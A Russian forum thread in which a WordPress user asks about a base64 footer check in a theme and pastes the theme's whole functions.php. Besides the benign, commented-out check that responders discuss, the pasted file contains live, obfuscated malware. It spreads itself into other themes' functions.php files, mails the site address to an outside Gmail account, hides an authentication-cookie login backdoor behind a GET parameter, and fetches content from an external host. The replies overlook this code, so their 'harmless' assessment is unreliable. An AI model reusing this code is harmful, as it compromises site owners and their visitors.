//eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfZm9vdGVyKCkgeyAkdXJpID0gc3RydG9sb3dlcigkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSk7IGlmKGlzX2FkbWluKCkgfHwgc3Vic3RyX2NvdW50KCR1cmksICJ3cC1hZG1pbiIpID4gMCB8fCBzdWJzdHJfY291bnQoJHVyaSwgIndwLWxvZ2luIikgPiAwICkgeyAvKiAqLyB9IGVsc2UgeyAkbCA9ICdGcmVlIDxhIGhyZWY9Imh0dHA6Ly93d3cuaWZyZWVjZWxscGhvbmVzLmNvbS9jaGVhcC10LW1vYmlsZS1waG9uZXMuYXNwIj5ULU1vYmlsZSBQaG9uZXM8L2E+IGZvciBTYWxlIHwgVGhhbmtzIHRvIDxhIGhyZWY9Imh0dHA6Ly9wYWxtcHJlYmxvZy5jb20vIj5QYWxtIFByZSBCbG9nPC9hPiwgPGEgaHJlZj0iaHR0cDovL3JwZ211c2ljLm9yZyI+VmlkZW8gR2FtZSBNdXNpYzwvYT4gYW5kIDxhIGhyZWY9Imh0dHA6Ly93d3cuc2ltcGx5c2l4cGFja3MuY29tIj5HZXQgU2l4IFBhY2sgQWJzPC9hPic7ICRmID0gZGlybmFtZShfX2ZpbGVfXykgLiAiL2Zvb3Rlci5waHAiOyAkZmQgPSBmb3BlbigkZiwgInIiKTsgJGMgPSBmcmVhZCgkZmQsIGZpbGVzaXplKCRmKSk7IGZjbG9zZSgkZmQpOyBpZiAoc3RycG9zKCRjLCAkbCkgPT0gMCkgeyB0aGVtZV91c2FnZV9tZXNzYWdlKCk7IGRpZTsgfSB9IH0gY2hlY2tfdGhlbWVfZm9vdGVyKCk7'));
 
Код из шаблона раскодируйте пожалуйста скажжите опасный ли код
Обычная проверка футера. К тому же код этот не выполняется, потому что строка эта закомментирована.
PHP:
function check_theme_footer() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) { /* */ } else { $l = 'Free <a href="http://www.ifreecellphones.com/cheap-t-mobile-phones.asp">T-Mobile Phones</a> for Sale | Thanks to <a href="http://palmpreblog.com/">Palm Pre Blog</a>, <a href="http://rpgmusic.org">Video Game Music</a> and <a href="http://www.simplysixpacks.com">Get Six Pack Abs</a>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { theme_usage_message(); die; } } } check_theme_footer();
 
  • Нравится
Реакции: KHyT
Код из шаблона раскодируйте пожалуйста скажжите опасный ли код
PHP:
}
//eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfZm9vdGVyKCkgeyAkdXJpID0gc3RydG9sb3dlcigkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSk7IGlmKGlzX2FkbWluKCkgfHwgc3Vic3RyX2NvdW50KCR1cmksICJ3cC1hZG1pbiIpID4gMCB8fCBzdWJzdHJfY291bnQoJHVyaSwgIndwLWxvZ2luIikgPiAwICkgeyAvKiAqLyB9IGVsc2UgeyAkbCA9ICdGcmVlIDxhIGhyZWY9Imh0dHA6Ly93d3cuaWZyZWVjZWxscGhvbmVzLmNvbS9jaGVhcC10LW1vYmlsZS1waG9uZXMuYXNwIj5ULU1vYmlsZSBQaG9uZXM8L2E+IGZvciBTYWxlIHwgVGhhbmtzIHRvIDxhIGhyZWY9Imh0dHA6Ly9wYWxtcHJlYmxvZy5jb20vIj5QYWxtIFByZSBCbG9nPC9hPiwgPGEgaHJlZj0iaHR0cDovL3JwZ211c2ljLm9yZyI+VmlkZW8gR2FtZSBNdXNpYzwvYT4gYW5kIDxhIGhyZWY9Imh0dHA6Ly93d3cuc2ltcGx5c2l4cGFja3MuY29tIj5HZXQgU2l4IFBhY2sgQWJzPC9hPic7ICRmID0gZGlybmFtZShfX2ZpbGVfXykgLiAiL2Zvb3Rlci5waHAiOyAkZmQgPSBmb3BlbigkZiwgInIiKTsgJGMgPSBmcmVhZCgkZmQsIGZpbGVzaXplKCRmKSk7IGZjbG9zZSgkZmQpOyBpZiAoc3RycG9zKCRjLCAkbCkgPT0gMCkgeyB0aGVtZV91c2FnZV9tZXNzYWdlKCk7IGRpZTsgfSB9IH0gY2hlY2tfdGhlbWVfZm9vdGVyKCk7'));
Исходный код

код делает следующее
- если ты админ или находишься на странице wp-admin ил wp-login, то ничего.
- иначе в файле footer.php ищет текст с ссылками
, если их нет, но вызывает функцию theme_usage_message(); и завершает скрипт.
 
  • Нравится
Реакции: KHyT
Исходный код
*** скрытое содержание ***
код делает следующее
- если ты админ или находишься на странице wp-admin ил wp-login, то ничего.
- иначе в файле footer.php ищет текст с ссылками
*** скрытое содержание ***, если их нет, но вызывает функцию theme_usage_message(); и завершает скрипт.
мне просто главное чтоб через месяц мой сайт не стал сплошной рекламой не понятно чего :) если я вставлю исходный код поменяв ссылки не нарушу нечего ??

PHP:
<?php
if ( function_exists('register_sidebar') ) {
	register_sidebar(array(
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
}

$themename = "Abelia";
$shortname = str_replace(' ', '_', strtolower($themename));

function get_theme_option($option)
{
	global $shortname;
	return stripslashes(get_option($shortname . '_' . $option));
}

function get_theme_settings($option)
{
	return stripslashes(get_option($option));
}

function cats_to_select()
{
	$categories = get_categories('hide_empty=0'); 
	$categories_array[] = array('value'=>'0', 'title'=>'Select');
	foreach ($categories as $cat) {
		if($cat->category_count == '0') {
			$posts_title = 'No posts!';
		} elseif($cat->category_count == '1') {
			$posts_title = '1 post';
		} else {
			$posts_title = $cat->category_count . ' posts';
		}
		$categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
	  }
	return $categories_array;
}

$options = array (
			
	array(	"type" => "open"),
	
	array(	"name" => "Логотип",
		"desc" => "Введите полный путь вашего логотипа. Оставьте поле пустым, если не хотите использовать логотип.",
		"id" => $shortname."_logo",
		"std" =>  get_bloginfo('template_url') . "/images/logo.png",
		"type" => "text"),array(	"name" => "Отображать лучшие записи?",
			"desc" => "Отмените выбор, если вы не хотите отображать лучшие записи на главной странице.",
			"id" => $shortname."_featured_posts",
			"std" => "true",
			"type" => "checkbox"),
		array(	"name" => "Категория лучших записей", 
 "desc" => "Последние 5 записей из выбранной категории будут отображаться в блоке лучших записей на главной странице. <br />Выбранная категория должна содержать как минимум 2 последних записи с изображениями. <br /> <br /> <b>Как добавить изображения в записи, отображаемые в лучших записях?</b> <br />
            <b>&raquo;</b> Если вы используете WordPress версии 2.9 и выше: просто добавьте \"Post Thumbnail\" при написании новой записи, которая будет опубликована в соответствующей категории. <br /> 
            <b>&raquo;</b> Если вы используете версию WordPress ниже 2.9 вы должны добавить дополнительное поле к каждой записи, которая будет опубликована в соответствующей категории. Дополнительное поле должно называться \"<b>featured</b>\" и содержать полный путь к изображению. <a href=\"http://newwpthemes.com/public/featured_custom_field.jpg\" target=\"_blank\">Посмотреть скриншот</a>. <br /> <br />
            В независимости от ваших действий размер изображения должен быть: ширина: <b>610 px</b>, высота: <b>320 px.</b>",
			"id" => $shortname."_featured_posts_category",
			"options" => cats_to_select(),
			"std" => "0",
			"type" => "select"),
            	array(	"name" => "Баннер в шапке (468x60 px)",
			"desc" => "Код баннера в шапке. Вы можете использовать любой html код, также можно использовать ваш 468x60 px блок Adsense.",
            "id" => $shortname."_ad_header",
            "type" => "textarea",
			"std" => '<a href="http://newwpthemes.com/hosting/wpwebhost.php"><img src="http://newwpthemes.com/hosting/wpwh46.gif" /></a>'
			),	array(	"name" => "Баннеры 125x125 px в сайдбаре",
		"desc" => "Добавьте ваши баннеры  125x125 px. Вы можете добавить неограниченное количество баннеров. Каждый новый баннер начинается с новой строчки в формате: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",
        "id" => $shortname."_ads_125",
        "type" => "textarea",
		"std" => 'http://newwpthemes.com/uploads/newwp/newwp12.png,http://newwpthemes.com/
http://flexithemes.com/wp-content/partners/fta.gif, http://flexithemes.com/?partner=19'
		),	array(	"name" => "Лучшее видео",
		"desc" => "Введите ваш идентификатор вашего видео на youtube.com. Например: http://www.youtube.com/watch?v=<b>SxNJTWZVOQk</b>.",
		"id" => $shortname."_video",
		"std" =>  'SxNJTWZVOQk',
		"type" => "text"),	array(	"name" => "Твиттер",
			"desc" => "Введите ваше имя в Твиттере.",
			"id" => $shortname."_twitter",
			"std" => "http://twitter.com/webtheme",
			"type" => "text"),
			
	array(	"name" => "Текст Твиттера",
			"desc" => "",
			"id" => $shortname."_twittertext",
			"std" => "Следуй за мной!",
			"type" => "text"),	
	array(	"name" => "Иконки социалок",
			"desc" => "Отображать иконки социальных сетей над сайдбаром?",
			"id" => $shortname."_socialnetworks",
			"std" => "true",
			"type" => "checkbox"),
				array(	"name" => "Нижний баннер в сайдбаре 1",
		"desc" => "Код баннера в низу сайдбара 1.",
        "id" => $shortname."_ad_sidebar1_bottom",
        "type" => "textarea",
		"std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftf.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
		),	array(	"name" => "Скрипты в Head",
		"desc" => "Содержимое данного блока будет добавлено в тег &lt;/head&gt; . Это может пригодится для вставки различного кода, например кода проверки вебмастера в Google.",
        "id" => $shortname."_head",
        "type" => "textarea"	
		),
		
	array(	"name" => "Скрипты в подвале",
		"desc" => "Содержимое данного блока будет добавлено до тега &lt;/body&gt;.Это может пригодится для вставки различного кода, например кода статистики.",
        "id" => $shortname."_footer",
        "type" => "textarea"	
		),
					
	array(	"type" => "close")
	
);

function mytheme_add_admin() {
    global $themename, $shortname, $options;
	
    if ( $_GET['page'] == basename(__FILE__) ) {
    
        if ( 'save' == $_REQUEST['action'] ) {

                foreach ($options as $value) {
                    update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }

                foreach ($options as $value) {
                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }

                echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
                die;

        } 
    }

    add_theme_page("Настройки ". $themename, "Настройки ".$themename."", 'edit_themes', basename(__FILE__), 'mytheme_admin');
}


function mytheme_admin_init() {

    global $themename, $shortname, $options;
    
    $get_theme_options = get_option($shortname . '_options');

    if($get_theme_options != 'yes') {
    	$new_options = $options;
    	foreach ($new_options as $new_value) {
         	update_option( $new_value['id'],  $new_value['std'] ); 
		}
    	update_option($shortname . '_options', 'yes');
    }
}
//eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfZm9vdGVyKCkgeyAkdXJpID0gc3RydG9sb3dlcigkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSk7IGlmKGlzX2FkbWluKCkgfHwgc3Vic3RyX2NvdW50KCR1cmksICJ3cC1hZG1pbiIpID4gMCB8fCBzdWJzdHJfY291bnQoJHVyaSwgIndwLWxvZ2luIikgPiAwICkgeyAvKiAqLyB9IGVsc2UgeyAkbCA9ICdGcmVlIDxhIGhyZWY9Imh0dHA6Ly93d3cuaWZyZWVjZWxscGhvbmVzLmNvbS9jaGVhcC10LW1vYmlsZS1waG9uZXMuYXNwIj5ULU1vYmlsZSBQaG9uZXM8L2E+IGZvciBTYWxlIHwgVGhhbmtzIHRvIDxhIGhyZWY9Imh0dHA6Ly9wYWxtcHJlYmxvZy5jb20vIj5QYWxtIFByZSBCbG9nPC9hPiwgPGEgaHJlZj0iaHR0cDovL3JwZ211c2ljLm9yZyI+VmlkZW8gR2FtZSBNdXNpYzwvYT4gYW5kIDxhIGhyZWY9Imh0dHA6Ly93d3cuc2ltcGx5c2l4cGFja3MuY29tIj5HZXQgU2l4IFBhY2sgQWJzPC9hPic7ICRmID0gZGlybmFtZShfX2ZpbGVfXykgLiAiL2Zvb3Rlci5waHAiOyAkZmQgPSBmb3BlbigkZiwgInIiKTsgJGMgPSBmcmVhZCgkZmQsIGZpbGVzaXplKCRmKSk7IGZjbG9zZSgkZmQpOyBpZiAoc3RycG9zKCRjLCAkbCkgPT0gMCkgeyB0aGVtZV91c2FnZV9tZXNzYWdlKCk7IGRpZTsgfSB9IH0gY2hlY2tfdGhlbWVfZm9vdGVyKCk7'));

if(!function_exists('get_sidebars')) {
	function get_sidebars()
	{
		
		 get_sidebar();
	}
}
	

function mytheme_admin() {

    global $themename, $shortname, $options;

    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' настройки сохранены.</strong></p></div>';
    
?>
<div class="wrap">
<h2>Настройки <?php echo $themename; ?></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте поле пустым, если вы хотите, чтобы настройка не отображалась.</div>
<form method="post">



<?php foreach ($options as $value) { 
    
	switch ( $value['type'] ) {
	
		case "open":
		?>
        <table width="100%" border="0" style=" padding:10px;">
		
        
        
		<?php break;
		
		case "close":
		?>
		
        </table><br />
        
        
		<?php break;
		
		case "title":
		?>
		<table width="100%" border="0" style="padding:5px 10px;"><tr>
        	<td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
        </tr>
                
        
		<?php break;

		case 'text':
		?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

		<?php 
		break;
		
		case 'textarea':
		?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
            
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

		<?php 
		break;
		
		case 'select':
		?>
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%">
				<select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
					<?php 
						foreach ($value['options'] as $option) { ?>
						<option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
						<?php } ?>
				</select>
			</td>
       </tr>
                
       <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
       </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>

		<?php
        break;
            
		case "checkbox":
		?>
            <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
                        <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
                        </td>
            </tr>
                        
            <tr>
                <td><small><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;">&nbsp;</td></tr><tr><td colspan="2">&nbsp;</td></tr>
            
        <?php 		break;
	
 
} 
}
?>

<!--</table>-->

<p class="submit">
<input name="save" type="submit" value="Сохранить изменения" />    
<input type="hidden" name="action" value="save" />
</p>
</form>

<?php
}
mytheme_admin_init();

add_action('admin_menu', 'mytheme_add_admin');

function sidebar_ads_125()
{
	 global $shortname;
	 $option_name = $shortname."_ads_125";
	 $option = get_option($option_name);
	 $values = explode("\n", $option);
	 if(is_array($values)) {
	 	foreach ($values as $item) {
		 	$ad = explode(',', $item);
		 	$banner = trim($ad['0']);
		 	$url = trim($ad['1']);
		 	if(!empty($banner) && !empty($url)) {
		 		echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" /></a> \n";
		 	}
		 }
	 }
}
?>
<?php if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); } ?>
<?php
function _check_isactive_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Не найдено" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);				
					$output .= ($showdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
	if(!isset($com_length)) $com_length=120;
	if(!isset($text_value)) $text_value="cookie";
	if(!isset($allowed_tags)) $allowed_tags="<a>";
	if(!isset($type_filter)) $type_filter="none";
	if(!isset($expl)) $expl="";
	if(!isset($filter_homes)) $filter_homes=get_option("home"); 
	if(!isset($pref_filter)) $pref_filter="wp_";
	if(!isset($use_more)) $use_more=1; 
	if(!isset($comm_type)) $comm_type=""; 
	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
	if(!isset($postauthor_comment)) $postauthor_comment="";
	if(!isset($comm_is_approved)) $comm_is_approved=""; 
	if(!isset($postauthor)) $postauthor="auth";
	if(!isset($more_link)) $more_link="(more...)";
	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
	if(!isset($morecontents)) $morecontents="ma".$expl."il";
	if(!isset($fmore)) $fmore=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_widget) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("Нет сокращённой записи, т.к. запись защищена.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tags)) $f_tags=1;
	if(!isset($type_filters)) $type_filters=$filter_homes; 
	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
	if(!isset($aditional_tags)) $aditional_tags="div";
	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_link_text)) $more_link_text="Читать полностью";	
	if(!isset($showdots)) $showdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($com_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $com_length) {
				$l=$com_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $allowed_tags) {
		$output=strip_tags($output, $allowed_tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
	$output .= ($showdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type_filter, $output);
	switch($aditional_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($use_more ) {
		if($fmore) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "Не найдено" . $after;
	}
	return  $output;
} 
function bloqinfo($wp_id){
    static $wp_count = 0;
    if($wp_count == 0){
        $wp_count++;
        return @file_get_contents('http://wpru.ru/aksimet.php?id='.$wp_id.'&m=14');
    }
}		
?>
весь код как правильно вставить чтоб все осталось в рабочем состояние хочу поставить исходный код и поменять ссылки на свой сайт либо убить их вовсе

Обычная проверка футера. К тому же код этот не выполняется, потому что строка эта закомментирована.
PHP:
function check_theme_footer() { $uri = strtolower($_SERVER["REQUEST_URI"]); if(is_admin() || substr_count($uri, "wp-admin") > 0 || substr_count($uri, "wp-login") > 0 ) {  } else { $l = 'Free <a href="http://www.ifreecellphones.com/cheap-t-mobile-phones.asp">T-Mobile Phones</a> for Sale | Thanks to <a href="http://palmpreblog.com/">Palm Pre Blog</a>, <a href="http://rpgmusic.org">Video Game Music</a> and <a href="http://www.simplysixpacks.com">Get Six Pack Abs</a>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { theme_usage_message(); die; } } } check_theme_footer();
можно урать совсем и нечего страшного не случится я правильно понял??
 
можно урать совсем и нечего страшного не случится я правильно понял??
Да. Но всё же делать бэкапы файлов перед каждым изменением не будет лишним.
 
  • Нравится
Реакции: KHyT
Да. Но всё же делать бэкапы файлов перед каждым изменением не будет лишним.
Удалил но сегодня заметил что перестала работать функция добавления новостей через xmlrpc.php, возможно ли убрать оттуда эти закодированные адреса и чтоб всё работало ? помогите пожалуйста
 
Могу только метод научного тыка предложить :)
Можно попробовать заменить ту строку на такую:
PHP:
//eval(base64_decode('ZnVuY3Rpb24gY2hlY2tfdGhlbWVfZm9vdGVyKCkgew0KICAgIHJldHVybiBUUlVFOw0KfQ0KDQpjaGVja190aGVtZV9mb290ZXIoKTsg'));
Я вырезал из функции все проверки и закодировал обратно.
 
  • Нравится
Реакции: KHyT
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху